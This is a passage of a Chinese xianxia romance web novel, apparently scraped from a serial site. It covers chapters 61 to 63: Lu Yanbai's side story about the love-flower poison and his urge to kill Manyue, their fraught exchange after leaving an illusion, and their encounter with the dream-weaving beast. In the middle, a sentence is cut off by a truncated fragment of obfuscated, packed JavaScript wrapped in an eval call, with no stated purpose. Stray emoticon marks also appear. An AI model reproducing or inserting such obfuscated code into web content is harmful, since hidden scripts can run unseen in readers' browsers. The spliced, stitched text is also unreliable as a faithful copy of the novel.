只是这一次,他没有了压制的想法。 他的目光上移,落在她如今已空空如也的发髻上。不知为何,他总是对她之前戴着的那个白绒球印象深刻,可能因为那是见她的第一眼,也可能是,那真的很像她。 “就用那个与我交换吧。”鬼使神差,他这样说道。 61. 陆宴白番外(二) 白绒球拿在手里,绒毛随风而动,不小心掉下来,落在陆宴白的脸上。 离开了那群累赘,陆宴白原以为他应该回到熟悉的生活里,可不知为何,他却没有了过往纤尘不染的平静,心仿佛空落了一块,连命魂珠也不能让他提起精神。 等到心头的烦躁平息,陆宴白将白绒球收回,才起身赶路。 他要去的地方是十方城。 早在他临时起意去三危山之前,他就在调查十方城。这座盘踞在虚空里的众妖之城,终年笼罩在灰蒙蒙的雾气中。有关它的来历,没人能说的清楚,但是它近来在妖类之中名声很大,不少流离失所无家可归的小妖被吸引了过来。尽管这里的条件同样好不到哪里去,总归是要比人类的城镇安全一些。 污浊的空气里混杂着腐烂食物的味道,狭窄而拥挤的街道如同迷宫,两旁是歪歪斜斜随意搭建的临时居所,各色各样的人——或者说妖来来往往。 陆宴白戴着一顶笠帽行走在其间,丝毫没有引来怀疑的瞩目,这里鱼龙混杂,什么样的怪人都不显得违和。 在小巷尽头,他遇见一个连人形都化不全的小妖怪被欺负,他随手救下了对方,连自己也不清楚为什么要多管闲事,直到那个小妖怪瑟缩着来道谢,他才明白过来。 有那么一刻,他确实希望见到的会是那个总是满脑子鬼主意的小妖怪。希望看到的,会是那双清澈透亮闪烁着狡黠光芒的眼睛。 那种古怪而微妙的情绪又开始无声无息地浮现,宛如藤蔓般缠绕上来,让他感到一丝不悦的滞涩。 陆宴白眉头几不可察地蹙了一下。 他如此经常地想到她确实不正常。 一个荒谬的念头平白闯入他的脑海。 难道就像之前许陈仓旁敲侧击问过他的,他真的是想养个妖宠留在身边作伴? 许是抱着一探究竟的想法,当那个被他救下的小妖怪羞赧地邀请他去家中做客,他破天荒地同意了。然而还没走到住处,他就已然觉得乏味起来。 不一样。 和她待在一起的感觉不一样。 他意兴阑珊。 不过此行也并非全无用处。他向来善于利用任何机会,在不动声色的试探中,他得以知道了内城的事。 与破烂不堪的外城不同,内城住着的大多是有些身份的大妖。内城等级分明,由二妖分治,一个树妖一个花妖,但他们都不是十方城真正的主人。十方城背后真正掌权的大妖极为隐秘,鲜少有人见过其真容,只是内城外城无论大小妖人手拿着一尊木像,虔诚供应,和那些烧香拜佛求富贵的凡人没什么两样。 混入内城比陆宴白想象得更加容易,中了那个花妖的情花毒却是意料之外。她那点本事,他本不放在心上,可那花妖却偷到了他藏在怀里的白绒球。短暂分神的一瞬间,她用情花刺中了他。 情花毒并不致命,甚至算不上剧毒,它的诡异之处在于,会让中毒者对替他拔除情花刺的人在接下来的一段时日内产生一种名为爱欲的强烈感情。 那花妖显然是动了歪念头。 他重伤花妖后逃了出来,循着命魂珠的气息来到了树妖的府邸。身为杀印转世,他对命魂珠一向有着特殊的感应,死气越浓郁的地方,越有利于他尽早恢复。 但他没想到,他竟然在这里见到了满月。 他不动声色地隐藏在暗处,观察着她想做什么。陈荣那件事后,她的妖力好像长进了不少,可是在纸鹤收回来的一刻,他敏锐地觉察到小院里的异动。 几乎想都没想,他出手救了她。他将她禁锢在怀中,杏子糕香甜的气息萦绕在鼻息,除此之外还有种脂粉和桂花的香气。 是那个树妖的味道,他不喜欢。 金色的结界在身前展开,隐去了他们的踪迹。 那个小院死气浓烈,很大可能与命魂珠相关,这原本应该是他最在意的,可她在他怀中,温软的触感不知为何格外清晰,让他完全无法集中精神去管小院里发生的事。 好在这小没良心的看到他受伤,总算没和以前一样抛下他溜之大吉。 其实他伤得不算重,远没他表现得那样。而且再需半个时辰,他就能完全逼出情花毒的毒素,完全没必要依靠他人。可不知为何,当那双明亮的眼睛带着一丝好奇和担忧望向他时,他没有多加犹豫就从善如流答应了她的帮助。 情花被拔下,化作花粉依附在她的身上。那种甜腻的香味只有中了情花毒的他能闻得到,丝丝缕缕,若有若无,缠绕在他鼻息之间,试图撩动他的心。 他的心跳也确实因此快了几拍,一股莫名的燥热感在四肢百骸间悄然蔓延,但只短暂失神了一瞬,就被他强行压制了下去。 情花毒不过如此。 他这么想。 她给他上药。纤长的手指蘸着药粉,轻柔地抚过他的伤口,动作非常耐心细致,指尖每一次的碰触都小心翼翼,生怕再弄疼他,却带来一种奇异的微痒和酥麻,陌生又难以言喻。 他的心毫无缘由地陷落了下去。 陆宴白垂眸瞧向她,她低着头,神情格外专注,长长的睫毛在眼下投落一片阴影。林间的月光映照着她的侧脸,勾勒出柔和的轮廓。离得这样近,他甚至看得到她白皙细腻的脸颊上极细小的绒毛,那是属于少女的青涩。 他假装重伤不济,恰到好处地显露出一丝隐忍的痛苦和虚弱。她也果然如他所想扶住了他。就在他顺势靠近她的瞬间,杏子糕的清甜铺天盖地,冲破了情花粉残存的甜腻,充盈在他的四周,包裹住了他。这截然不同的气息,竟比那情花毒更猛烈地撞击在他的心上,也让他一直刻意掌控的平静撕裂了一道口子。 一种带着灼热温度的冲动,如同蛰伏的凶兽骤然惊醒。 他对她忽然生起了某种不该有的欲望。 也是那时,他第一次对她有了真切的杀意。 和过去那种基于现实判断,觉得“应该”杀掉她的想法截然不同。 这一次他是真的起了杀心。 他应该杀了她的。 陆宴白在心中冷酷地重复着这个结论。 可他却仿佛不受控制一般,仍旧若无其事任凭着她悉心地照料他。她替他洗去了脸上的血污,明明这种事情只需要一个法咒就可以解决的,她却偏要这么费劲,他想嘲笑她,和以往一样,心里却像是被什么东西拨弄着,始终平静不下来。 他能感觉到她在看他。那打量的视线,并没有陆宴白在他人那里司空见惯的算计与筹谋,只有纯粹的好奇。 她在好奇他。 为什么? 她靠在旁边就这样睡了过去,察觉到她的呼吸平稳,陆宴白倏然睁开了眼。 指尖悄然泛起一丝几乎看不见的灵力。月光落入在他幽深的瞳孔,映不出一丝温度。 他应该杀掉她。 他想。 除了对她来历不明、动机不纯的怀疑和忌惮,还有一个更深层,更幽暗,连他自己都尚未完全厘清的原因,如同深渊底部的暗流,正汹涌地推动着这股杀意。 那才是他真正想要杀掉她的原因。 因为他对她确实滋生了一种异样的感觉。这种感觉极为陌生,带着令人心悸的甜腻和即将失控的危险气息。 而陆宴白生平最厌恶的便是被人挟制。 这感觉本身就已足够成为他动手的理由。 杀意骤然凝结,他抬起手,指尖悬停在她光洁的眉心上方。只需再落下寸许,她短暂的一生就会结束在这里。 可偏偏在这时,睡梦中的她似乎被什么惊扰,浓密纤长的睫毛微微颤动了一下,发出了一声模糊不清的呓语。紧接着,她像是不舒服似的,无意识侧过了脸去。 几缕柔软乌黑的发丝随着她偏头的动作,不经意地扫过他的指尖。 那细微的的痒意,如同最轻柔的羽毛拂过,瞬间穿透了冰冷的杀意。 他想起了他将她从红线道人那里带回来的时候,她发上的白绒球也是这样的触感。 凝聚在指尖的灵气悄无声息地溃散了。 他放下手,指尖仍然残留着那丝微痒,但胸腔里翻腾的杀意却被一种更深的烦躁和困惑取代。 也许是因为情花毒。 他试图用这个理由说服自己。 躺在她身边,他怎么也睡不着,那股杏子糕的香气总是猝不及防越界钻过来,搅扰着他心绪不宁。 所以天还不亮,他就起身离开了。 原本他想要直接离开的。那混乱的一夜,他也不知道自己为什么要做那么多多余的事情。这不对,不合常理,也偏离了他惯常的生活。 可是在漫无目的逛了一日之后,他还是回去了,理智上他清楚应该远离她,身体却很诚实地选择留在了她的身边。先前那种感觉丝毫没有 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是他先遇到了她,也是他三番两次救了她,可她对他只有戒备和害怕,反而她将仅仅相处了几个月的程南楼他们放在心上。 他并不想救他们。 但当他被她满怀期待地看着,那股躁郁之气竟然渐渐平息了。 “好,我帮你。”连他自己没想到他会这么说。 看到她眼中的雀跃,他又忽然觉得做一次好人也没什么关系。 反正他从来是个随心所欲到极点的人 傩面是行藏道人留给他保命的神器。陆宴白一直都知道相比于他,行藏道人更喜欢程南楼,但作为师父,他确实无可挑剔,出门在外,每个亲传弟子都拿着一件他给的神器作为最后的退路。可是这样珍贵的东西,他想也没想戴给了满月。 他清楚织梦兽的来历。同样是诞生于的妖兽,无害温驯,早已绝迹,没想到会在这里遇到。至于命魂珠,倒是是个意外之喜,虽然他早就猜到应该藏在这里,只不过一直懒得找。 织梦兽比预想中更难缠些,尽管如此,他还是分神一直留意着她的动向。 所以怎么可能不知道她的心思呢? 从她想要拿走命魂珠,到她发现自己被织梦兽侵袭,再到她假意呼救。 可陆宴白还是装作没发现遂了她的意。 他想看看她要干什么。 不可否认,在他的众多猜测中,独独没有这一项。在她踮脚吻上来的一刻,他确实极为罕见地慌了一下,心也跟着漏了一拍。 唇齿间传来的柔软触感,温热,清甜,奇异地混合着一种危险又令人眩晕的愉悦,带给他前所未有的刺激。 鱼水之欢。 那些书本上读到过,他以为很荒谬,只不过是凡人沉溺的内容,此刻却像是活了过来,占据了他所有的欲念。 大概是出于一种刻在骨子里的掠夺本能,他自然而然从她那里接过了主动权,扣住她纤细的腰身,将她更深地压向自己。他蛮横又不讲道理地牵引着她,不容她退却,执意要她陪他一起沉沦。 不熟悉的晦暗情绪如同潮水顷刻将他覆盖,一个被他压抑在心底多时,从未真正敢面对的想法终于浮现了出来。 他想要占有她。 这个念头让他自己都感到心惊。 他从来没有过这样想法,任何人于他而言皆只是过客,没有人能抓得住他,除了杀心他也不会执着于任何人。 可此刻,他不想再杀她了,那汹涌的黑暗情绪指向了另一个极端,他只想完全地占有她,困住她,让她再也不要从他身边逃离,想要将她揉碎了藏在身体里,想要让她只属于自己。 然而,陆宴白同样清醒得可怕。他太了解自己了。这绝对不是爱。虽然他也不清楚什么是爱,但他知道自己天生没有那种多余的感情,也从不认为那是什么好东西。爱只是世人作恶的借口,而且是很好用的借口,他曾见过很多人以爱之名却做着屠戮他人的事。 那么,他此刻这强烈到差点吞噬理智的占有欲,这近乎扭曲的私心,又是什么? 是还没完全散掉的情花毒在作祟吗? 这个疑问在他心头一闪而过,并未引得他继续深究。在那唇齿相依的瞬间,他已经什么都不在意了。 她真的很好亲。 这是他在落入幻境前,最后的想法。 62. 060 面前的小妖怪随着消失得干干净净,就像从来没有出现过一样。 陆宴白缓缓睁开了眼,金瞳倒映着四周,没有阴长生,也没有生魂阵,也没有杀不完的阴煞。他身处在一个安静得可怕的密林之中,参天古树虬枝盘曲,遮天蔽日,空气中弥漫着腐叶与湿土的清冷气息,与不久前污浊血腥的生魂阵形成鲜明对比。 刹那间,无数纷乱驳杂的记忆碎片涌入脑海,一段段,一幕幕。 他仿佛做了一个很长的梦。 梦境里的人是他又仿佛不是他。 真好笑。 他唇角极其轻微地勾了一下,那弧度冰冷得没有丝毫笑意,反而透着一丝嘲弄。 他曾费尽心思,不惜承受反噬之苦修习禁术才得到的记忆,如今却以这么简单的方式就如此完整地呈现出来。 而且远比他之前动用禁术所看到的更为真实鲜活,就像又亲身经历了一遍那段被禁制尘封的岁月一样。只不过对比从前他得到的那些零碎画面,这段记忆里多了一个人的身影。那个人有着一张完全陌生的脸,无论过去还是现在他从来没有见过。 小白雀。 陆宴白摊开手。 一枚铜钱静静躺在其中。 他捏起铜钱抬头看,透过铜钱的方孔,一缕日光从中投了进来。 应该是她。 虽然模样不同,但他却莫名有种笃定。 那种独特、总是在不经意间搅动他心绪的感觉不会错。 身后不远处的灌木丛中,传来一阵窸窸窣窣的轻微响动。 陆宴白没有回头,只放出神识感知,有一头体型不小的兽犬正畏缩地藏在阴影里,想靠近他,可是又不太敢,似乎在畏惧着什么。 陆宴白收回神识,漂亮的金瞳瞬间变回黑瞳。 “过来吧。”他轻描淡写道。 得到允许,那大家伙才敢小心翼翼地挪了出来。它体型大得惊人,站立起来足有三人之高,一身银白的长毛如同月华织就,流淌着柔和的光泽。 是织梦兽的本体。 与先前在院落中见到的那些狂暴的绿荧分身不同,本体的织梦兽显得异常温驯无害。它是循着陆宴白身上的死气而来,那是它力量的本源,有着无法抗拒的吸引力。 织梦兽低垂着头,喉咙里发出示好的呜咽声。 陆宴白目光扫过,一眼就看到它脖子上隐约浮现的一道暗金色符文烙印。 这应该就是满月说的那个邪仙加持在它身上的封印。 怪不得它会为她看守命魂珠。 织梦兽并非凶残暴虐之兽,是被封印挟制才凶性大发,无差别攻击每一个靠近命魂珠的人。现在循迹而来,大抵是因为感受到了杀印的气息。那气息对它而言是绝对的压制,亦是唯一的希望。 铜钱在指尖转了几转,陆宴白觑着对他俯首称臣的织梦兽,瞧清它眸中的乞求,笑了起来:“要我帮你?” 织梦兽哀哀叫了一声,庞大的身躯顺从地俯下来,将兽头紧紧贴在地面上,四只眼睛同时眨动,泛出晶莹的泪光,看起来可怜极了。 但陆宴白不是满月,他不吃这套。 “可以。”陆宴白收起铜钱,脸上的笑容也一并淡去,“只要你告诉我,梦里那个小妖怪是谁,我就帮你把封印解除。” * 日光透过层层叠叠的斑驳树荫,洒落在满月的眼皮上。 鼻子上若即若离,仿佛有什么东西轻轻扫过。 好痒。 满月打了个喷嚏,从深沉的睡梦中醒了过来。 她睁开眼,有一缕阳光穿过叶隙,不偏不倚照在眼睛上,她下意识抬手遮了遮。 头好痛,就像被什么钝器击打过一样。 发生了什么? 满月晃了晃就像被灌了水一样滞重的脑袋。 零星的片段闯入她的脑海。 她好像……帮助小团子拿到了命魂珠,破开了生魂阵。 那现在……她是从幻境里出来了? 满月扶着有些疼的额头坐起身,正要打量四周,一转头,却发现有个人正闲适地斜倚在旁边的树干上,一条长腿随意地屈起,姿态慵懒,手上百无聊赖地转着一根不知从哪儿薅来的狗尾巴草,正似笑非笑瞧着她,也不知看了多久。 满月吓了一跳,什么都想起来了。 幻境前,还有幻境里。 回来了,都回来了。 “醒了?”陆宴白看着她瞬间煞白的脸色和惊惶的眼神,挑了下眉。 满月捂住额头,在这种尴尬的情况下十分想当场表演一个失忆。 陆宴白弯眼笑起,语气淡淡的,细听却能听得出其中若有似无的威胁:“别告诉我你什么都忘了。” 满月知道他指的是什么,脸腾的一下变得滚烫,连耳根都红透了。 梦境里的事情还有抵赖的余地,这件事可没有。 好在满月当时那样做的时候就想好了对策。她略略低下头,做出一副害羞又懊恼的模样,手指绞着衣角,局促不安道:“我那个时候以为,以为自己要死了,心里一慌,所以才……才做出那么失礼的举动……对不起。” 陆宴白不语,既没有表示接受,也没有立刻拆穿,仍只是好整以暇觑着她,等待着她的下文。 “不过……我知道妖人有别,你放心,我会默默将这份感情放在心里,绝对不会影响到你!也不会有第三个人知道!” 她举起手发誓,浓密的睫毛像小扇子扑来扑去,看上去尤为真诚。 陆宴白唇边的笑意却愈加明显:“你觉得我会是在意妖人有别的人?” “你……”满月被他这句话噎住,一时之间还真不知该如何回应。 陆宴白倏然凑近了她,他修长的手指抬起她的下颌,逼迫着她不得不直视向他那双深不见底的黑眸。 满月呼吸一窒,只觉得有如实质的巨大压迫感笼罩下来,让她动弹不得。 他靠得极近,温热的呼吸拂过她的脸颊,语气里带着几分显而易见的恶劣与试探,一字一句,清晰无比:“既然如此,那我收你当妖宠好了。” 这句话宛若平地惊雷,炸开了锅。 满月当然知道,陆宴白这话并非异想天开随便说说。原著里就有不少达官显贵偷偷在后宅豢养妖宠,男女皆有,作为玩物或者炫耀的资本。有些是被强迫掳去,下了禁制,有些则是为了生存自愿依附。 如今的世道,妖族凋零,人族兴旺,早没了妖的栖身之所,依附大妖是依附,依附凡人也是依附,甚至只要不是运气太差,遇上极个别的以折磨妖物为乐的变态,后者提供的庇护还更安稳些,至少不用费心卖命。 原著中倒是没有明确提过陆宴白有没有这方面的特殊嗜好,可原著毕竟展现得只是片面,万一……万一他真有呢? 她一向不啻于以最坏的角度来揣测他。 满月脑子一片空白。她清楚如果陆宴白真想这么做,以他的实力和手段,她根本没有拒绝的余地,甚至连逃跑都是奢望。 “我,我,我……”她无措地磕巴了半天,最后只小心翼翼挤出来一句没什么底气的话,“我是正经妖。” 陆宴白被她逗笑了。 “哦?”他尾音微微上扬,慢悠悠道,“所以你说喜欢我,果然只是在骗我?” 满月登时警铃大作。 “我没有……” 陆宴白捏着她下巴的手微微用力,抬得更高了些,迫使她更深入地迎向自己的目光。他指尖冰冷的温度,像极了冬夜里的寒风,透过肌肤,搅乱了她本就混乱的心绪。 满月看着倒映在他眸中的自己,心神却微微晃了一下。在某个恍惚的瞬间,面前这张带着恶劣笑意的脸,似乎与幻境中那个粉雕玉琢的小团子奇异般的合二为一。 但这错觉转瞬即逝,她很快回过神来。 他们不一样,千万不要犯蠢混为一谈。 她在心里冷静地告诫自己。 陆宴白也察觉到她这片刻的走神,他隐约有点被忽视的不满,愈发加重了手上的力道,痛得她轻蹙了下眉。 “没有的话。”他视线下移,落到她柔软莹润的唇瓣,“那就证明给我看吧。” 满月一怔,他已低下头,两人之间的距离瞬间缩短到咫尺。 在这关头,满月却倏然反应了过来,她慌忙撇开头,下意识地避开了那可能落下的接触。 满月的心砰砰直跳。一股说不清楚的情绪在心间荡开。 “你不是喜欢我吗?”陆宴白眉眼弯弯,看似在笑,但眼里却似有细碎的薄冰,“为什么躲开?” “我,哎,你……你不懂。”满月语无伦次。她手捂着发烫的脸,从他手上挣脱开,有意不去看他,“越,越是喜欢,才越不能这么做。” 上天再给她一次机会,她发誓她绝对不会再这么干了。要问比阴奉阳违还要更难办的事,那就是假装喜欢一个人。 而且还是假装喜欢陆宴白这种人。这和刀尖上跳舞没什么区别,一旦掌握不好那个度,等待她的下场只有万箭穿心。 陆宴白唇边挂着冷冷的笑,看样子她不解释个子丑寅卯,他是不会放过她了。 “你,你对我来说就像天上的月亮。”满月手心里全是汗,面上却镇定得很,“对,白月光!白月光你听说过吗?神圣高洁不可侵犯,你对我来说就是这样!如果不是那个时候我以为我快死了,我肯定不会说出来的!总之,总之,你对我来说可远观而不可亵渎,我,我不配靠近你,不不不是你,是您,您……” 她越讲越离谱,胡诌得连自己都不知道在说什么,简直是梦到哪句说哪句。 陆宴白也不打断,只是含着一抹轻笑看她。 说到最后,满月着实黔驴技穷了。她口干舌燥地停下来,直视着他,干巴巴地总结陈词:“总之……就是这样。你,你理解了吗?不是不喜欢,只是这种喜欢它,它要比普通的喜欢更为高尚,就像对偶像……额,榜样的那种喜欢。你懂吗?” 别管他懂没懂,满月是真没招了。她破罐破摔,打算迎接他最后的审判。 陆宴白倒是未置可否。他静静瞧着她,时间久到满月都开始感到不安起来。她正思索要不要再补救一下,陆宴白却弯起眼睛,状似漫不经心地问了一个风马牛不相及的问题:“那,程南楼呢?” 满月眨眨眼:? 好端端提什么程南楼…… 这家伙该不会是程南楼深柜吧。 一想到这个可能,满月就忍不住有点恶寒。 陆宴白垂眸看着她,唇边的一抹笑似是而非,他的手指上移,在她的脸颊上停了下来。 满月被他指尖碰触,差点没起一身鸡皮疙瘩。 他不会是想杀了她? 不知为何,这个猜测没由来地浮现在她脑海。 陆宴白却没动手,他只是捏住她的脸,笑意盈盈继续道:“你不是也喜欢他吗?” 满月:……? 什么时候的事?纯造谣啊! 满月这下可不心虚了,她腰板也挺直了,眼神也清澈了,义正言辞道:“我对程公子只有欣赏,纯粹的欣赏。绝对没有什么不该有的感情!” 陆宴白慢条斯理地哦了一声,也没说信不信,就在满月以为他要放过她时,他又开口了。 “那他和我,你会选谁?” 满月:??? 这什么乱七八糟的。 满月觉得这不是个正常问题,根本没有回答的必要,但另一方面直觉又告诉她,这个问题很危险,回答不好,她可能真的看不到明天的太阳了。 “当,当然是你,不,您!”满月眼睛都不眨一下,“你是我的白月光嘛,程公子如何能比得上。” 陆宴白盯着她的眼睛,似乎是想要从中看到她的心里去。 片刻,他松开手。 “记住你的话,如果让我发现你是在我骗。”他重新笑起来,这一次笑容明明更加温柔,却更让人不寒而栗,“我就把你做成人彘带在身边好了。也算让你得偿所愿了,不是吗?” ……这个变态。 满月心里快把他千刀万剐,面上却还得带着笑,点头哈腰,极近卑微:“一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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满月对他的想法其实没错。命魂珠他已经拿到了,被困是程南楼他们自己的事,即便对着自小一起长大的青梅竹马,他也没有多少的同情心,陈荣那次就是明证,他虽然早就察觉他有问题,但也懒得提醒。 他之所以这么主动,只是为了花妖手上情花毒的解药。 对于满月的这种感觉,新奇,陌生,他不算完全排斥,却也没那么想再继续放任下去。 虽然吻她的那一瞬间,他确实觉得就这样也不错,但理智回归后又是另一回事。 早在她昏睡的这段时间,他就将一切从头到尾重新梳理了一遍。 在他看来,他对这个小妖怪确实有点不一样,但更多是觉得她好玩有趣,这种感觉和他遇到喜欢的猫猫狗狗没什么区别——尽管他至今也没遇到过让他喜欢的猫猫狗狗,但想来应该差不了太多。 情况之所以变得失控,都是从情花毒那天开始。 他认为是情花毒的作用才让他变得越来越不像自己。 所以只要找到情花毒,他就不会被困在这种情绪中,所有问题都可迎刃而解。 他承认最初是他小看了情花毒的效果,若非当时一时好奇,让她拔了情花,也不至于到今天这一步。 除此之外,他还通过织梦兽得知那个邪仙拿到命魂珠和阴长生有关。这是不可多得的线索。他要找阴长生,势必得与那个邪仙交手。 这些才是其中真正的的内情,不过她就不必知道了,反正最终的结果殊途同归。 陆宴白扬了下眉:“怎么,你不想让我救他们?” “怎会!”满月连忙否认。 她只是隐约觉得陆宴白另有图谋罢了。 “他们是你的师弟师妹,你肯定挂心的。”满月道。 “哦。”陆宴白索然无味应了一声,他移开眼,下一瞬,却毫无征兆地提起另一个话题,“那么我梦里的那个人,是你吗?” 满月依着惯性刚要回答,却突然反应过来其中有诈。 太卑鄙了…… 这和偷袭有什么区别。 这个问题和她谎称喜欢他可不是同一个数量级的。 虽然在幻境里面,也有过美好的回忆,但满月并不认为那是和陆宴白的。在她心里小团子是小团子,陆宴白是陆宴白,他们两个并不完全一样,她分得清。 而且以她对原著里陆宴白的了解,如果她真的承认,他非但不会感激,搞不好还会杀人灭口。 毕竟那是他最为窘迫狼狈的一段回忆,怎么可能允许旁人窥探。 她打定主意抵死不能承认。 “什,什么梦?”满月眨了眨眼,这副样子乖巧又无辜。 “我忘了,只记得有只小白鸟叽叽喳喳的很吵,打扰我睡觉。”他垂眸,笑意盎然,“不会就是你吧?” “怎,怎么可能,我可是很有素质的!”满月移开视线,“而且我也做了一个梦,梦里可没有你。” “是吗?”陆宴白眉梢微挑,他没有追问下去,反而话锋一转,若有所思道,“我一直很好奇,你的妖身是什么?” 满月心里咯噔一声。 她面不改色:“兔子。” “真的吗?”他不信,“给我看一下。”^_^ 这就触犯到底线了。 满月警惕地和他拉开些距离,有点羞恼:“说是兔子就是兔子,你,你看什么看,这有什么好看的。” “不给看就是在骗我。”^_^ “……”去死吧混蛋。 …… 他们吵吵闹闹没走多远,寂静的树林极细微地有一丝响动,簌簌而动了下。 两道黑影以极快的速度窜了出来。 一只犬妖身手矫健地落在了地上,他屈膝半跪,嗅了嗅四周的气味,朝着两人离去的方向张望了下,才回头看向树上的同伴。 他点了点头。同伴会意,转身便以极快的速度消失在了林中,再无踪迹。 63. 061 走了整整一下午,葱郁的林木依旧层层叠叠延向天际,丝毫看不到林子的边缘。 满月的双腿早已酸软不堪。夕阳最后的一缕余晖穿过枝叶缝隙洒落下来,她再也支撑不住,这种身体上的极度疲倦暂时压过了对陆宴白的惧意。 她看着已经沉到了最边缘的太阳,耍赖地抱住身旁的树干:“我不走了,反正我不走了……一步都走不动了……” 真要命,这里这么大的吗? 陆宴白闻声回头,目光落在她狼狈不堪的模样上,眉梢微挑。 确实有点不正常。 他放出过纸人探路,就算带着满月,也不应该走这么久。 不过也无所谓。 无论是他们主动去找,还是等着对方按捺不住自己送上门来,最终的结果都差不多。 他们就地安营扎寨。 篝火很快劈啪作响地燃了起来,驱散了林间渐重的暮色与寒意。 满月抱着膝盖坐在火堆前,太阳彻底落山后,林间的温度骤降,即便有火光取暖,她还是没忍住打了个寒颤。 一件外衣忽然从天而降,兜头盖在她身上。清冽好闻的雪松气息瞬间将她包裹,是陆宴白身上独有的味道。 满月愣住,她拿下外衣,诧异地看向对面。陆宴白依旧坐在那里,仅着中衣,火光在他的侧脸上跳跃,他并未看她,就好像只是顺手做了件微不足道的小事:“冻病了更麻烦。” “……谢谢。”有点不敢相信他的好意,满月仔细瞧了瞧,才小声道了谢。她默默将外衣穿起来,暖意顺着渗入,似乎不止来自于衣袍的温度。 鼻息间充斥着他衣衫上的清冷气息,让她心跳莫名快了两拍。 真稀奇,他什么时候这么好心了。 四周没有野味,他们只能用野果充饥。 满月正心不在焉地啃着手中的果子,余光忽然瞥见侧前方的浓密树丛里似乎有什么东西。她动作一顿,疑心自己看错了,下意识向陆宴白看了看。 他似乎早已察觉,并不在意,只垂眸拨弄着篝火。 满月再度看去,这次看清了。那是个体型很大的妖兽,银白的毛发在夜里格外醒目,它藏身在一丛低矮的灌木后,可它好似并没意识到自己身量的巨大与灌木的狭小多么不相称,自以为藏得严实,实际毛茸茸的身躯和尾巴早暴露无遗。 满月:…… 这种蠢萌的感觉是怎么回事。 许是因为陆宴白在身旁不远处坐着,再加上她并没有感知到危险,胆子不由大了许多,不仅没感到害怕,反而觉得那家伙有点可爱。 难道是因为饿了,所以才藏在那里偷看他们? 满月犹豫了下,将手边吃不完的野果试探性地丢了过去。果子骨碌碌滚了几下,恰好停在那毛茸茸的旁边。 陆宴白听到动静抬头看她:“怎么了?” “那里好像有东西。”满月指了指灌木丛。 陆宴白循着她指的方向扫了一眼,无需细看,便已了然。 织梦兽。 陆宴白挑了下眉。 按照他一贯的性子,没卸磨杀驴已属难得。之前替它解了封印,织梦兽本来想跟着他,他对这些东西却一向没什么耐心,便让它自生自灭离开了。 没想到它还是偷偷跟了上来。 又或许,是有人派它来的? 眸色微微一暗,无数的可能在脑海中闪过,陆宴白没有阻止满月的动作,他也想看看它打算做什么。 那毛茸茸的巨大脑袋小心翼翼地从灌木后探出,湿漉漉的鼻尖耸动两下,迅速将那两三个果子叼起来,又缩回灌丛后。 窸窸窣窣一阵,不过片刻,声响便停了,那点果子显然还不够它塞牙缝。 满月看它似乎并无攻击的意图,胆子更大了些。她又拿了两个果子,这次没有丢出去,而是放在了自己身前不远处的空地上,想试着引它靠近。 那东西果然再次探头探脑,它犹豫地迈出步子,小心翼翼地朝着果子和她挪动过来。 离开了灌木丛的掩映,满月这才看清它的全貌。 好大的一条……狗? 满月被它夸张的体型吓了一跳,下意识地往陆宴白的方向躲闪了下。 陆宴白察觉到她的动作,弯眼笑起:“怕了?” “……才没有。”满月嘴硬,视线却紧盯着面前的巨兽。 满月前世去西藏旅游是见过藏獒的,那已经是她认知中体型最大的犬类,但眼前的毛茸茸显然还要更胜好几筹,壮硕得如同小山,说它是神话里地狱三头犬她都信,可惜它只有一个脑袋,而且看起来颇为憨厚。 其实除去夸张得有些吓人的体型,满月在它身上感知不到任何危险暴戾的气息,甚至有种没由来的……亲切感? 毛茸茸朝着她靠近了几步便停下,四只澄澈如同琉璃的眼睛齐刷刷地望着她,眼神湿漉漉的,带着讨好和渴望。满月这时才发现它有四只眼睛,有点像她小时候在老家那种老旧画报上看过的年兽,瞧久了,这副憨态可掬的模样意外地还挺可爱。 满月推了推野果,想让它更靠近一些。 然而毛茸茸只是哀哀叫了一声,声音并不骇人,有点像是呜咽,旋即便怯怯地望向她身旁,不敢再往前半步。 满月循着它的目光瞧去,正好对上了陆宴白看她的眼。 陆宴白眸光微动了下,旋即错开了视线。 满月明白过来,它是在忌惮陆宴白。 不知为何,这一发现非但没让满月紧张,反而让她对眼前这大家伙的好感度瞬间攀升了不少。 毕竟在这世上,除了她,似乎也没其他人会天然地对陆宴白感到害怕。 简直是知音啊。 “别害怕。”满月放柔了声音安慰它。 毛茸茸见陆宴白没有什么特殊的表示,终于大了些胆子,向着满月走了过来。 它在野果处停住,一口一个就将果子吞下。 满月见它确实温顺,试探地伸出手,轻轻触碰到了毛茸茸的边。 预想中的退缩或警惕并未出现,它不仅没有任何不适,还撒娇似的主动歪过头,蹭了蹭她的手心。 满月的心瞬间化了。 打从第一眼,她就觊觎它这身顺滑漂亮的毛发,见它不怕生,她大着胆子揉了揉,身心都瞬间得到了前所未有的治愈。 这手感……太好撸了! 回想还在前世,满月的梦想一直都是去狗咖做兼职,可惜她高考结束没多久,崭新的生活还没有开始,就莫名其妙转生到了这个世界。 满月现在已经很少回想前世的事,她知道就算怎么想也没办法回去,反而会因为两个世界的差距过大容易不太想活。 但眼前温驯的毛茸茸,尽管严格意义上不能算狗,却还是不禁让她重温起了那种遥远的感觉,充满了安全感,遥遥望去,就像一场梦,可望不可即。 满月越撸胆子越大,她搂住毛茸茸的脖子,脸贴在它厚厚的绒毛上,它身上并没有想象中野外动物的腥膻味,反而是一种仿佛刚被阳光晒过的洁净味道。 满月没忍住将脸埋在里面深吸了一口。 呜呜呜,未免也太好吸了。 一声轻笑从对面传来。 满月回过神,看到陆宴白正似笑非笑地瞧着她。她脸颊一热,有种被抓包的窘迫,不好意思地小声提议:“要不……你也来摸摸?真的很舒服。” 陆宴白的视线从她泛红的脸颊移到那只蹭着她手心的织梦兽,唇角笑意未减,却带着明显的疏离:“没兴趣。” 满月直觉陆宴白有点奇怪,好像心情突然就变得不怎么好的样子。可不容她多加思考,织梦兽就用湿漉漉的鼻子亲昵地蹭了蹭她的脸颊和脖颈,夺走了她全部的注意力。 好狗狗,好狗狗。 前世她阿姨家有条萨摩耶,她经常去她家玩狗,撸狗的手法早练得炉火纯青。 毛茸茸被她撸得摊成一摊狗饼。它仰过来,吐着舌头哈气,不是狗胜似狗。 